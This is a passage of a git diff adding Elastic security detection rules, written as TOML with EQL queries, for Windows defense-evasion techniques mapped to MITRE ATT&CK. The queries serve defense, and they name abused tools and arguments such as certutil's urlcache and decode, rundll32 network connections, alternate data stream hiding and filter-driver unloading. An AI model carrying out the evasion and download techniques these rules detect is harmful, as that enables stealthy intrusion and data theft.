"https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1195" +name = "Supply Chain Compromise" +reference = "https://attack.mitre.org/techniques/T1195/" +[[rule.threat.technique.subtechnique]] +id = "T1195.002" +name = "Compromise Software Supply Chain" +reference = "https://attack.mitre.org/techniques/T1195/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/defense_evasion_suspicious_certutil_commands.toml b/rules/windows/defense_evasion_suspicious_certutil_commands.toml new file mode 100644 index 000000000..561c906a5 --- /dev/null +++ b/rules/windows/defense_evasion_suspicious_certutil_commands.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/10/15" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies suspicious commands being used with certutil.exe. CertUtil is a native Windows component which is part of +Certificate Services. CertUtil is often abused by attackers to live off the land for stealthier command and control or +data exfiltration. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious CertUtil Commands" +references = [ + "https://twitter.com/Moriarty_Meng/status/984380793383370752", + "https://twitter.com/egre55/status/1087685529016193025", + "https://www.sysadmins.lv/blog-en/certutil-tips-and-tricks-working-with-x509-file-format.aspx", + "https://docs.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil", +] +risk_score = 47 +rule_id = "fd70c98a-c410-42dc-a2e3-761c71848acf" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + (process.name : "certutil.exe" or process.pe.original_file_name == "CertUtil.exe") and + process.args : ("?decode", "?encode", "?urlcache", "?verifyctl", "?encodehex", "?decodehex", "?exportPFX") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1140" +reference = "https://attack.mitre.org/techniques/T1140/" +name = "Deobfuscate/Decode Files or Information" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_suspicious_execution_from_mounted_device.toml b/rules/windows/defense_evasion_suspicious_execution_from_mounted_device.toml new file mode 100644 index 000000000..ebaddbb1c --- /dev/null +++ b/rules/windows/defense_evasion_suspicious_execution_from_mounted_device.toml @@ -0,0 +1,80 @@ +[metadata] +creation_date = "2021/05/28" +maturity = "production" +updated_date = "2021/05/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a script interpreter or signed binary is launched via a non-standard working directory. An attacker may +use this technique to evade defenses. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Execution from a Mounted Device" +references = [ + "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/", +] +risk_score = 47 +rule_id = "8a1d4831-3ce6-4859-9891-28931fa6101d" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.executable : "C:\\*" and + (process.working_directory : "?:\\" and not process.working_directory: "C:\\") and + process.parent.name : "explorer.exe" and + process.name : ("rundll32.exe", "mshta.exe", "powershell.exe", "pwsh.exe", "cmd.exe", "regsvr32.exe", + "cscript.exe", "wscript.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1218/" +id = "T1218" +name = "Signed Binary Proxy Execution" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1218/011/" +id = "T1218.011" +name = "Rundll32" + +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1218/005/" +id = "T1218.005" +name = "Mshta" + +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1218/010/" +id = "T1218.010" +name = "Regsvr32" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0005/" +id = "TA0005" +name = "Defense Evasion" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1059/" +id = "T1059" +name = "Command and Scripting Interpreter" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1059/001/" +id = "T1059.001" +name = "PowerShell" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0002/" +id = "TA0002" +name = "Execution" diff --git a/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml b/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml new file mode 100644 index 000000000..b5b04b485 --- /dev/null +++ b/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/08/21" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies a suspicious managed code hosting process which could indicate code injection or other form of suspicious +code execution. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Managed Code Hosting Process" +references = ["https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html"] +risk_score = 73 +rule_id = "acf738b5-b5b2-4acc-bad9-1e18ee234f40" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan=5m + [process where event.type == "start" and + process.name : ("wscript.exe", "cscript.exe", "mshta.exe", "wmic.exe", "regsvr32.exe", "svchost.exe", "dllhost.exe", "cmstp.exe")] + [file where event.type != "deletion" and + file.name : ("wscript.exe.log", + "cscript.exe", + "mshta.exe.log", + "wmic.exe.log", + "svchost.exe.log", + "dllhost.exe.log", + "cmstp.exe.log", + "regsvr32.exe.log")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +reference = "https://attack.mitre.org/techniques/T1055/" +name = "Process Injection" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_suspicious_process_access_direct_syscall.toml b/rules/windows/defense_evasion_suspicious_process_access_direct_syscall.toml new file mode 100644 index 000000000..3d16b4d31 --- /dev/null +++ b/rules/windows/defense_evasion_suspicious_process_access_direct_syscall.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2021/10/11" +maturity = "production" +updated_date = "2021/10/11" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious process access events from an unknown memory region. Endpoint security solutions usually hook userland +Windows APIs in order to decide if the code that is being executed is malicious or not. It's possible to bypass hooked +functions by writing malicious functions that call syscalls directly. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Process Access via Direct System Call" +references = [ + "https://twitter.com/SBousseaden/status/1278013896440324096", + "https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs" +] +risk_score = 73 +rule_id = "2dd480be-1263-4d9c-8672-172928f6789a" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.code == "10" and + length(winlog.event_data.CallTrace) > 0 and + + /* Sysmon CallTrace starting with unknown memory module instead of ntdll which host Windows NT Syscalls */ + not winlog.event_data.CallTrace : ("?:\\WINDOWS\\SYSTEM32\\ntdll.dll*", "?:\\WINDOWS\\SysWOW64\\ntdll.dll*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/windows/defense_evasion_suspicious_process_creation_calltrace.toml b/rules/windows/defense_evasion_suspicious_process_creation_calltrace.toml new file mode 100644 index 000000000..5ab67a492 --- /dev/null +++ b/rules/windows/defense_evasion_suspicious_process_creation_calltrace.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2021/10/24" +maturity = "production" +updated_date = "2021/10/24" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a process is created and immediately accessed from an unknown memory code region and by the same parent +process. This may indicate a code injection or hollowing attempt. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Process Creation CallTrace" +risk_score = 43 +rule_id = "3ed032b2-45d8-4406-bc79-7ad1eabb2c72" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by host.id with maxspan=1m + [process where event.code == "1" and + /* sysmon process creation */ + process.parent.name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe", "eqnedt32.exe", + "fltldr.exe", "mspub.exe", "msaccess.exe", "powershell.exe", "pwsh.exe", + "cscript.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", "mshta.exe", + "wmic.exe", "cmstp.exe", "msxsl.exe")] by process.parent.entity_id, process.entity_id + [process where event.code == "10" and + /* Sysmon process access event from unknown module */ + winlog.event_data.CallTrace : "*UNKNOWN*"] by process.entity_id, winlog.event_data.TargetProcessGUID +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Process Injection" +id = "T1055" +reference = "https://attack.mitre.org/techniques/T1055/" + + +[rule.threat.tactic] +name = "Defense Evasion" +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_suspicious_scrobj_load.toml b/rules/windows/defense_evasion_suspicious_scrobj_load.toml new file mode 100644 index 000000000..03793dd86 --- /dev/null +++ b/rules/windows/defense_evasion_suspicious_scrobj_load.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/04/06" + +[rule] +author = ["Elastic"] +description = """ +Identifies scrobj.dll loaded into unusual Microsoft processes. This usually means a malicious scriptlet is being +executed in the target process. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Script Object Execution" +risk_score = 47 +rule_id = "4ed678a9-3a4f-41fb-9fea-f85a6e0a0dff" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan=2m + [process where event.type == "start" + and (process.code_signature.subject_name in ("Microsoft Corporation", "Microsoft Windows") and + process.code_signature.trusted == true) and + not process.executable : ( + "?:\\Windows\\System32\\cscript.exe", + "?:\\Windows\\SysWOW64\\cscript.exe", + "?:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", + "?:\\Program Files\\Internet Explorer\\iexplore.exe", + "?:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_*\\MicrosoftEdge.exe", + "?:\\Windows\\system32\\msiexec.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\system32\\taskhostw.exe", + "?:\\windows\\system32\\inetsrv\\w3wp.exe", + "?:\\windows\\SysWOW64\\inetsrv\\w3wp.exe", + "?:\\Windows\\system32\\wscript.exe", + "?:\\Windows\\SysWOW64\\wscript.exe", + "?:\\Windows\\system32\\mobsync.exe", + "?:\\Windows\\SysWOW64\\mobsync.exe", + "?:\\Windows\\System32\\cmd.exe", + "?:\\Windows\\SysWOW64\\cmd.exe")] + [library where event.type == "start" and dll.name : "scrobj.dll"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/windows/defense_evasion_suspicious_wmi_script.toml b/rules/windows/defense_evasion_suspicious_wmi_script.toml new file mode 100644 index 000000000..9dddd6cb0 --- /dev/null +++ b/rules/windows/defense_evasion_suspicious_wmi_script.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies WMIC allowlist bypass techniques by alerting on suspicious execution of scripts. When WMIC loads scripting +libraries it may be indicative of an allowlist bypass. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious WMIC XSL Script Execution" +risk_score = 21 +rule_id = "7f370d54-c0eb-4270-ac5a-9a6020585dc6" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan = 2m +[process where event.type in ("start", "process_started") and + (process.name : "WMIC.exe" or process.pe.original_file_name : "wmic.exe") and + process.args : ("format*:*", "/format*:*", "*-format*:*") and + not process.command_line : "* /format:table *"] +[library where event.type == "start" and dll.name : ("jscript.dll", "vbscript.dll")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1220" +name = "XSL Script Processing" +reference = "https://attack.mitre.org/techniques/T1220/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_suspicious_zoom_child_process.toml b/rules/windows/defense_evasion_suspicious_zoom_child_process.toml new file mode 100644 index 000000000..b015af49f --- /dev/null +++ b/rules/windows/defense_evasion_suspicious_zoom_child_process.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +A suspicious Zoom child process was detected, which may indicate an attempt to run unnoticed. Verify process details +such as command line, network connections, file writes and associated file signature details as well. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Zoom Child Process" +risk_score = 47 +rule_id = "97aba1ef-6034-4bd3-8c1a-1e0996b27afa" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started", "info") and + process.parent.name : "Zoom.exe" and process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" + +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_system_critical_proc_abnormal_file_activity.toml b/rules/windows/defense_evasion_system_critical_proc_abnormal_file_activity.toml new file mode 100644 index 000000000..dea1e0cec --- /dev/null +++ b/rules/windows/defense_evasion_system_critical_proc_abnormal_file_activity.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/08/19" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies an unexpected executable file being created or modified by a Windows system critical process, which may +indicate activity related to remote code execution or other forms of exploitation. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Executable File Creation by a System Critical Process" +risk_score = 73 +rule_id = "e94262f2-c1e9-4d3f-a907-aeab16712e1a" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.extension : ("exe", "dll") and + process.name : ("smss.exe", + "autochk.exe", + "csrss.exe", + "wininit.exe", + "services.exe", + "lsass.exe", + "winlogon.exe", + "userinit.exe", + "LogonUI.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1211" +reference = "https://attack.mitre.org/techniques/T1211/" +name = "Exploitation for Defense Evasion" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" diff --git a/rules/windows/defense_evasion_unusual_ads_file_creation.toml b/rules/windows/defense_evasion_unusual_ads_file_creation.toml new file mode 100644 index 000000000..aadb1b201 --- /dev/null +++ b/rules/windows/defense_evasion_unusual_ads_file_creation.toml @@ -0,0 +1,80 @@ +[metadata] +creation_date = "2021/01/21" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious creation of Alternate Data Streams on highly targeted files. This is uncommon for legitimate files +and sometimes done by adversaries to hide malware. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual File Creation - Alternate Data Stream" +risk_score = 47 +rule_id = "71bccb61-e19b-452f-b104-79a60e546a95" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "creation" and + file.path : "C:\\*:*" and + not file.path : "C:\\*:zone.identifier*" and + file.extension : + ( + "pdf", + "dll", + "png", + "exe", + "dat", + "com", + "bat", + "cmd", + "sys", + "vbs", + "ps1", + "hta", + "txt", + "vbe", + "js", + "wsh", + "docx", + "doc", + "xlsx", + "xls", + "pptx", + "ppt", + "rtf", + "gif", + "jpg", + "png", + "bmp", + "img", + "iso" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1564" +name = "Hide Artifacts" +reference = "https://attack.mitre.org/techniques/T1564/" +[[rule.threat.technique.subtechnique]] +id = "T1564.004" +name = "NTFS File Attributes" +reference = "https://attack.mitre.org/techniques/T1564/004/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_unusual_dir_ads.toml b/rules/windows/defense_evasion_unusual_dir_ads.toml new file mode 100644 index 000000000..f3b1e337a --- /dev/null +++ b/rules/windows/defense_evasion_unusual_dir_ads.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/12/04" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies processes running from an Alternate Data Stream. This is uncommon for legitimate processes and sometimes done +by adversaries to hide malware. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Process Execution Path - Alternate Data Stream" +risk_score = 47 +rule_id = "4bd1c1af-79d4-4d37-9efa-6e0240640242" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.args : "?:\\*:*" and process.args_count == 1 +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1564" +name = "Hide Artifacts" +reference = "https://attack.mitre.org/techniques/T1564/" +[[rule.threat.technique.subtechnique]] +id = "T1564.004" +name = "NTFS File Attributes" +reference = "https://attack.mitre.org/techniques/T1564/004/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml b/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml new file mode 100644 index 000000000..233f19cc1 --- /dev/null +++ b/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/05/28" +maturity = "production" +updated_date = "2021/05/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies unusual instances of dllhost.exe making outbound network connections. This may indicate adversarial Command +and Control activity. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Network Connection via DllHost" +references = [ + "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/", + "https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml", +] +risk_score = 47 +rule_id = "c7894234-7814-44c2-92a9-f7d851ea246a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by host.id, process.entity_id with maxspan=1m + [process where event.type in ("start", "process_started") and process.name : "dllhost.exe" and process.args_count == 1] + [network where process.name : "dllhost.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +id = "T1218" + + +[rule.threat.tactic] +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +id = "TA0005" + diff --git a/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml b/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml new file mode 100644 index 000000000..2f22e5e23 --- /dev/null +++ b/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +Identifies unusual instances of rundll32.exe making outbound network connections. This may indicate adversarial Command +and Control activity. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Network Connection via RunDLL32" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 47 +rule_id = "52aaab7b-b51c-441a-89ce-4387b3aea886" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by host.id, process.entity_id with maxspan=1m + [process where event.type in ("start", "process_started") and process.name : "rundll32.exe" and process.args_count == 1] + [network where process.name : "rundll32.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +[[rule.threat.technique.subtechnique]] +id = "T1218.011" +name = "Rundll32" +reference = "https://attack.mitre.org/techniques/T1218/011/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_unusual_process_network_connection.toml b/rules/windows/defense_evasion_unusual_process_network_connection.toml new file mode 100644 index 000000000..c3559fd07 --- /dev/null +++ b/rules/windows/defense_evasion_unusual_process_network_connection.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies network activity from unexpected system applications. This may indicate adversarial activity as these +applications are often leveraged by adversaries to execute code and evade detection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Process Network Connection" +risk_score = 21 +rule_id = "610949a1-312f-4e04-bb55-3a79b8c95267" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where (process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "xwizard.exe") and + event.type == "start"] + [network where (process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "xwizard.exe")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1127" +name = "Trusted Developer Utilities Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1127/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_unusual_system_vp_child_program.toml b/rules/windows/defense_evasion_unusual_system_vp_child_program.toml new file mode 100644 index 000000000..fe9311f47 --- /dev/null +++ b/rules/windows/defense_evasion_unusual_system_vp_child_program.toml @@ -0,0 +1,39 @@ +[metadata] +creation_date = "2020/08/19" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = "Identifies a suspicious child process of the Windows virtual system process, which could indicate code injection." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Child Process from a System Virtual Process" +risk_score = 73 +rule_id = "de9bd7e0-49e9-4e92-a64d-53ade2e66af1" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.pid == 4 and + not process.executable : ("Registry", "MemCompression", "?:\\Windows\\System32\\smss.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +reference = "https://attack.mitre.org/techniques/T1055/" +name = "Process Injection" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" diff --git a/rules/windows/defense_evasion_via_filter_manager.toml b/rules/windows/defense_evasion_via_filter_manager.toml new file mode 100644 index 000000000..2bd4afd1f --- /dev/null +++ b/rules/windows/defense_evasion_via_filter_manager.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +The Filter Manager Control Program (fltMC.exe) binary may be abused by adversaries to unload a filter driver and evade +defenses. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Evasion via Filter Manager" +risk_score = 47 +rule_id = "06dceabf-adca-48af-ac79-ffdf4c3b1e9a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "fltMC.exe" and process.args : "unload" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_whitespace_padding_in_command_line.toml b/rules/windows/defense_evasion_whitespace_padding_in_command_line.toml new file mode 100644 index 000000000..093eebf5a --- /dev/null +++ b/rules/windows/defense_evasion_whitespace_padding_in_command_line.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2021/07/30" +maturity = "production" +updated_date = "2021/12/06" +min_stack_comments = "EQL regex had a bug when dealing with wildcard fields that 